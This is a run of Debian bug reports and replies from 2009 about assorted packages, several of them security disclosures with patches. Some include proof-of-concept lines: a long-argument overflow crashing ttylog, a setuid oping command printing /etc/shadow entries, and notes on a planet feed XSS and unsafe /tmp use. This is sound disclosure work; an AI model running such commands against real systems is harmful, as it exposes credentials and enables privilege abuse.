Tags: security
*** Please type your report below this line ***
This is probably not a hugely exploitable issue, but reporting
regardless:
winkeydaemon.pl:
if (-d "/tmp/.winkey") {
# ok, no action required
} else {
my $dir = "/tmp/.winkey";
`mkdir "$dir"`;
if ($debug) {print "Arranging mutex directory\n";}
}
...
...
`touch /tmp/.winkey/keyer_busy`;
...
`rm /tmp/.winkey/keyer_busy`;
...
-- System Information:
Debian Release: squeeze/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages winkeydaemon depends on:
ii libdevice-serialport-perl 1.04-2+b1 emulation of Win32::SerialPort for
winkeydaemon recommends no packages.
winkeydaemon suggests no packages.
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#553945: ttylog: Doesn't test length of device.
Package: ttylog
Version: 0.1.c-1
Severity: normal
*** Please type your report below this line ***
The script uses strcpy to copy the specified device
name into a fixed buffer.
This program isn't a security-sensitive one so the
issue is minor, but the bug should be fixed:
s...@gold:$ /usr/sbin/ttylog -d `perl -e 'print "X"x3000'`
Segmentation fault
Patch included to turn this into:
(139) s...@gold:/tmp/foo/ttylog-0.1.c$ ./ttylog -d `perl -e 'print
"X"x3000'`
./ttylog: invalid device
XXX
--- ttylog.c.orig 2009-11-02 11:09:39.0 +
+++ ttylog.c2009-11-02 11:10:25.0 +
@@ -79,7 +79,9 @@
{
if (argv[i + 1] != NULL)
{
- strcpy (modem_device, argv[i + 1]);
+ memset( modem_device, '\0', sizeof(modem_device));
+ strncpy (modem_device, argv[i + 1],sizeof(modem_device)-1);
+
}
else
{
-- System Information:
Debian Release: squeeze/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Versions of packages ttylog depends on:
ii libc6 2.10.1-4 GNU C Library: Shared libraries
ttylog recommends no packages.
ttylog suggests no packages.
-- no debconf information
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#524772: Finish supporting prefork
> 0.81-1 included prefork, which was usable via editing the init.d script, but > couldn't be selected through debconf, because prefork didn't as of 0.81 > support listening on multiple interfaces, and hence would have broken some > deployed setups. The current release is 0.83, and the changelog for 0.82 includes these entries: 40 prefork: support --listen-address for consistency with forkserver 35 prefork: add multi-address support 33 prefork: Fix startup when no interface addresses are specified (Devin Carraway) ChangeLog here: http://git.develooper.com/?p=qpsmtpd.git;a=blob;f=Changes;hb=HEAD Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#548684: oping allows reading arbitrary files upon the local system - security issue
Package: oping Version: 1.3.2-1 Justification: user security hole Severity: grave Tags: security *** Please type your report below this line *** oping is setuid root and one of the command line arguments allows a configuration file to be specified. This file is read and *reported* to the console. (Unless the file contains contents which can be interpreted as a list of hostnames!) For example: s...@gold:~$ oping -f /etc/shadow Adding host `root:$1eluded/value:14368:0:9:7:::' failed: getaddrinfo: Name or service not known Adding host `daemon:*:13876:0:9:7:::' failed: getaddrinfo: Name or service not known Adding host `bin:*:13876:0:9:7:::' failed: getaddrinfo: Name or service not known Adding host `sys:*:13876:0:9:7:::' failed: getaddrinfo: Name or service not known Adding host `sync:*:13876:0:9:7:::' failed: getaddrinfo: Name or service not known Adding host `games:*:13876:0:9:7:::' failed: getaddrinfo: Name or service not known This is clearly a security hole - however the good news is that the version(s) of oping included in lenny and etch are unaffected. -- System Information: Debian Release: squeeze/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages oping depends on: ii libc6 2.9-26 GNU C Library: Shared libraries ii liboping0 1.3.2-1C/C++ library to generate ICMP ECH oping recommends no packages. oping suggests no packages. -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#546178: planet: [CVE-2009-2937] - Insufficient escaping of input feeds
On Fri Sep 18, 2009 at 14:06:44 +0200, Arnaud Fontaine wrote: > No I didn't, I could not find this discussion, could you please point it > me out? As soon as all these issues will have been addressed, I will > prepare a package (debian-security team: please do not upload the > package for now). Basically it comes down to CDATA and the handling of This is the comment I received: -- please find attached the two reproducers for the CDATA thing. poc1.xml is not correctly filtered while poc2.xml is filtered, although they are nearly identical. If you edit the newly patched function to print the k and v values, you'll see that the attributes aren't passed through. -- Steve -- poc1.xml Description: XML document poc2.xml Description: XML document
Bug#546178: planet: [CVE-2009-2937] - Insufficient escaping of input feeds
On Fri Sep 18, 2009 at 13:38:39 +0200, Arnaud Fontaine wrote: > I have prepared yesterday a package for Lenny including this patch. At > the moment, I'm waiting for a reply from the debian-security team. Great. Don't forget etch to. > Thank you very much for the patch and bug report. Did you see the followup discussion from Secunia about another planet-problem, relating to the handling of CDATA ? (To be honest if I were to re-do the patch now I'd probably do it the other way round : Make sure "src"starts with http: to cover other cases too.) Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#546178: Updated patch
The patch doesn't account for case variations, so it shold be updated:
+
+for i in xrange (len (attrs)):
+k,v = attrs[i]
+if (( k == "src" ) or ( k == "href" ) ) and
(v.lower().find("javascript:" ) <> -1 ):
+del attrs[i]
+
return attrs
Steve
--
http://www.steve.org.uk/
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#546178: planet: [CVE-2009-2937] - Insufficient escaping of input feeds
Subject: planet: [CVE-2009-2937] - Insufficient escaping of input feeds
Package: planet
Justification: user security hole
Severity: grave
Tags: security
*** Please type your report below this line ***
The planet feed aggregator attempts to remove malicious content from
user-submitted feeds. It does a great job, but fails to sanitize
this input:
At least Opera will execute this code.
The packages in Etch and Lenny are vulnerable and should require a
security update. Fixed packages are available from:
http://www.steve.org.uk/tmp/planet/etch/
+
http://www.steve.org.uk/tmp/planet/lenny/
This is the patch I used:
--- planet-2.0.orig/planet/sanitize.py
+++ planet-2.0/planet/sanitize.py
@@ -70,6 +70,12 @@
# utility method to be called by descendants
attrs = [(k.lower(), v) for k, v in attrs]
attrs = [(k, k in ('rel', 'type') and v.lower() or v) for k, v in
attrs]
+
+for i in xrange (len (attrs)):
+k,v = attrs[i]
+if (( k == "src" ) or ( k == "href" ) ) and (v.find("javascript:"
) <> -1 ):
+del attrs[i]
+
return attrs
def unknown_starttag(self, tag, attrs):
-- System Information:
Debian Release: squeeze/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#546179: planet-venus: [CVE-2009-2937] - Insufficient escaping of input feeds
Subject: planet-venus: [CVE-2009-2937] - Insufficient escaping of input feeds
Package: planet-venus
Justification: user security hole
Severity: grave
Tags: security
*** Please type your report below this line ***
The planet feed aggregator attempts to remove malicious content from
user-submitted feeds. It does a great job, but fails to sanitize
this input:
At least Opera will execute this code.
The package in Lenny is vulnerable and should require a
security update. Fixed packages are available from:
http://www.steve.org.uk/tmp/planet/lenny/
This is the patch I used, written by upstream:
s...@senfl:~$ diff --unified scrub.orig scrub.py
--- scrub.orig 2009-09-09 16:24:50.0 +
+++ scrub.py2009-09-09 16:25:18.0 +
@@ -128,5 +128,13 @@
node['value'] = feedparser._resolveRelativeURIs(
node.value, node.base, 'utf-8', node.type)
-node['value'] = feedparser._sanitizeHTML(
-node.value, 'utf-8', node.type)
+# Run this through HTML5's serializer
+from html5lib import html5parser, sanitizer, treebuilders
+from html5lib import treewalkers, serializer
+p = html5parser.HTMLParser(tokenizer=sanitizer.HTMLSanitizer,
+ tree=treebuilders.getTreeBuilder('dom'))
+doc = p.parseFragment(node.value, encoding='utf-8')
+xhtml = serializer.XHTMLSerializer(inject_meta_charset = False)
+walker = treewalkers.getTreeWalker('dom')
+tree = xhtml.serialize(walker(doc), encoding='utf-8')
+node['value'] = ''.join([str(token) for token in tree])
-- System Information:
Debian Release: squeeze/sid
APT prefers unstable
APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)
Kernel: Linux 2.6.30-1-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#545198: Use of uninitialized value
On Sat Sep 05, 2009 at 18:41:36 +0200, Guido G??nther wrote: > $ chronicle > Use of uninitialized value $site > in concatenation (.) or string at /usr/bin/chronicle line 1613. > Use of uninitialized value $site > in concatenation (.) or string at /usr/bin/chronicle line 1638. > at me. The generated entries look o.k. though. This is caused by some new code which generates a file called sitemap.xml beneath your output directory. I guess this can only happen if you didn't pass a --url_prefix argument when building. (Or have one defined in your configuration file, if you're using one.) Apart from the sitemap.xml file being full of bogus entries, and the unpleasant warnings, this shouldn't cause any harm. Regardless I'll roll out a new update to skip the sitemap if there is no URL prefix supplied which should fix this bug. Steve -- Debian GNU/Linux System Administration http://www.debian-administration.org/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#535481: offlineimap: Error at installation time
Package: offlineimap Version: 6.1.0 Severity: important The upgrade today resulted in this: Setting up libgail-common (2.16.4-1) ... Setting up gtk2-engines-pixbuf (2.16.4-1) ... Setting up libgtk2.0-bin (2.16.4-1) ... Setting up offlineimap (6.1.0) ... Setting up python-gdbm (2.5.2-1.1) ... Processing triggers for python-support ... Compiling /usr/lib/pymodules/python2.4/offlineimap/accounts.py ... File "/usr/lib/pymodules/python2.4/offlineimap/accounts.py", line 84 yield (folder, quick) SyntaxError: 'yield' not allowed in a 'try' block with a 'finally' clause It seemed to be harmless but that might just be a lucky accident.. -- System Information: Debian Release: squeeze/sid APT prefers unstable APT policy: (500, 'unstable'), (1, 'experimental') Architecture: amd64 (x86_64) Kernel: Linux 2.6.30 (SMP w/2 CPU cores) Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages offlineimap depends on: ii python2.5.4-2An interactive high-level object-o ii python-support1.0.3 automated rebuilding support for P offlineimap recommends no packages. Versions of packages offlineimap suggests: pn python-kerberos(no description available) -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#531456: ITP: libmoose-policy-perl -- module to specify your project-wide or even company-wide Moose meta-policy
On Mon Jun 01, 2009 at 19:19:28 +0200, Salvatore Bonaccorso wrote: > This is still an release of this module and it should not be considered to be > complete by any means. It is very basic implemenation at this point and will "implementation" would fix that typo. Steve -- Managed Anti-Spam Service http://mail-scanning.com/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#530615: ITP: libfile-temp-perl -- return name and handle of a temporary file safely
On Tue May 26, 2009 at 08:11:06 -0300, Brian Cassidy wrote: > * Package name: libfile-temp-perl > Version : 0.21 > Upstream Author : Tim Jenness > * URL : http://search.cpan.org/dist/File-Temp/ > * License : Artistic | GPL-1+ > Programming Lang: Perl > Description : return name and handle of a temporary file safely > > File::Temp can be used to create and open temporary files in a safe way. This module is already packaged: sh-3.2$ ls /usr/share/perl/5.10.0/File/Temp.pm /usr/share/perl/5.10.0/File/Temp.pm sh-3.2$ dpkg --search /usr/share/perl/5.10.0/File/Temp.pm perl-modules: /usr/share/perl/5.10.0/File/Temp.pm Did you miss this, or is it being removed from perl-modules? Steve -- Managed Anti-Spam Service http://mail-scanning.com/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#526228: fixed in jquery 1.3.3-1
On Wed May 20, 2009 at 11:56:25 +0200, Steve Langasek wrote: > >[ Steve Kemp ] > >* Re-upload with orig.tar.gz file present, unfortunately this means > > bumping the release number, but that is a small price to pay. > > (Closes: #526228) > > Hrm - shouldn't have been. The archive will accept a newly-added > 1.3.2.orig.tar.gz just fine - it just doesn't accept a new version of a > previously-existing file. > > Oh well :) Oops. I was pondering it for a little while and in the end decided that a missing .orig.tar.gz would mean that any upload with one present would result in a ".orig.tar.gz doesn't match" which would cause failure. Perhaps not the best way to handle this bug, but at the same time not a horrible one. It just means the next release will need a bit of juggling - although hopefully not too much as the next release will jump version number anyway :) Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#526047: [namecheck]: pod documentation formating
On Wed Apr 29, 2009 at 17:00:21 +0100, Adam D. Barratt wrote: > The patch looks fine to me; thanks. As we're not upstream for the > script, I've BCCed the original author to make him aware of the patch, > and in case he has any issues / comments with it. Thanks for the notification, the patch looks fine to me, and I've applied it to the original source now: http://mybin.repository.steve.org.uk/?rev/1a71a27bec53 Steve -- Managed Anti-Spam Service http://mail-scanning.com/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#519339: ITP: tmux -- an alternative to screen, licensed under 3-BSD
On Thu Mar 12, 2009 at 22:37:41 +0100, Karl Ferdinand Ebert wrote: > - a more usable status line syntax, with the ability to display the first line > of output of a specific command; That is also possible in GNU Screen. > - a cleaner, modern, easily extended, BSD-licensed codebase. That would be a nice bonus. Frankly the GNU Screen codebase is very messy. (I've worked with it a fair bit.) > > The design of tmux seems less secure, too. > > In which way is it less secure? I've not looked at this at all - but the idea of shared sockets in /tmp which I recall from a previous message in the thread jumped out at me as being a recipe for symlink attacks, if nothing else. Steve -- Try out tscreen - My fork of GNU Screen: http://www.steve.org.uk/Software/tscreen -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#518122: Acknowledgement (Security issue in mantis)
Looks like I filed this too soon - the bug is fixed in Lenny's package already. Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#518122: Security issue in mantis
Package: mantis Severity: grave Tags: security Version: 1.1.6+dfsg-2 There's a security issue in the mantis version in lenny, at least, which allows registered users to run commands on the server. Details here: http://secunia.com/advisories/32314/ Patch here: http://mantisbt.svn.sourceforge.net/viewvc/mantisbt/branches/BRANCH_1_1_0/mantisbt/core/utility_api.php?r1=5679&r2=5678&pathrev=5679 Steve -- Stop blog&forum spam http://blogspam.net/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#515762: ITP: libjs-jqueryui -- jQuery UI provides abstractions for low-level interaction and animation, advanced effects and high-level, themeable widgets, built on top of the jQuery JavaScript Li
On Tue Feb 17, 2009 at 11:52:10 -0300, Walter Cruz wrote: > > a. renamed to be libjs-jquery-ui > > Should I fill another ITP? I think there's no need, just rename the package prior to the upload. I don't think people would get too pedantic if you were changing the name to fit in with existing package names. > > b. Hosted in the javascript git repository. > > Will talk with the js team. Great, thanks very much! Steve -- -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#515762: ITP: libjs-jqueryui -- jQuery UI provides abstractions for low-level interaction and animation, advanced effects and high-level, themeable widgets, built on top of the jQuery JavaScript Li
On Tue Feb 17, 2009 at 11:36:11 -0300, Walter Cruz wrote: > * Package name: libjs-jqueryui > Version : 1.5.3 > Upstream Author : Paul Bakaus > * URL : http://jqueryui.com/ > * License : GPL, MIT/X > Programming Lang: JavaScript > Description : jQuery UI provides abstractions for low-level interaction > and animation, advanced effects and high-level, themeable widgets, built on > top of the jQuery JavaScript Library, that you can use to build highly > interactive web applications. Would be nice if this were: a. renamed to be libjs-jquery-ui b. Hosted in the javascript git repository. See the jquery source package for details: http://packages.debian.org/source/sid/jquery Steve -- Managed Anti-Spam Service http://mail-scanning.com/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#493719: Confirming 493719
On Wed Jan 21, 2009 at 14:22:37 +, brian m. carlson wrote: >> Brian are you able to test the package uploaded to experimental, >> version 1.5.19-1? > > Yes. Great, thanks! >> That has had a couple of minor IMAP changes relating to handling >> NULL pointers, and I'd be curious to know if these changes fix >> the bug.. > > The problem still occurs. Not quite so great, but definitely useful to know so thanks for testing. > The way I reproduced it is to leave mutt > open and connected to the server whilst I suspended the machine. I don't really use IMAP much, but I have a notebook and I will try to reproduce over the weekend. > I also found another bug with the version in experimental; I'll report > that next. :) Steve -- Stop blog&forum spam http://blogspam.net/ -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#509980: mutt: Mail-Followup-To removed when recalling postponed messages
This bug is a duplicate of 482883: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=482883 "mutt: removes custom headers on postpone+resume" I will merge the two bugs together for improved tracking. Steve -- # The Debian Security Audit Project. http://www.debian.org/security/audit -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Bug#509581: $sendmail option unconditionally and wrongly uses --
The patch below might prevent this from happening.
s...@gold:~/git/mutt/mutt-1.5.19$ diffs
--- sendlib.c-orig 2009-01-20 22:57:28.0 +
+++ sendlib.c 2009-01-20 22:57:57.0 +
@@ -2206,7 +2206,11 @@
args = add_option (args, &argslen, &argsmax, "-R");
args = add_option (args, &argslen, &argsmax, DsnReturn);
}
+ if ( strstr( args, "--" ) == NULL )
+ {
+/* Only append "--" if not already present. */
args = add_option (args, &argslen, &argsmax, "--");
+ }
args = add_args (args, &argslen, &argsmax, to);
args = add_args (args, &argslen, &argsmax, cc);
args = add_args (args, &argslen, &argsmax, bcc);
Steve
--
# The Debian Security Audit Project.
http://www.debian.org/security/audit
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
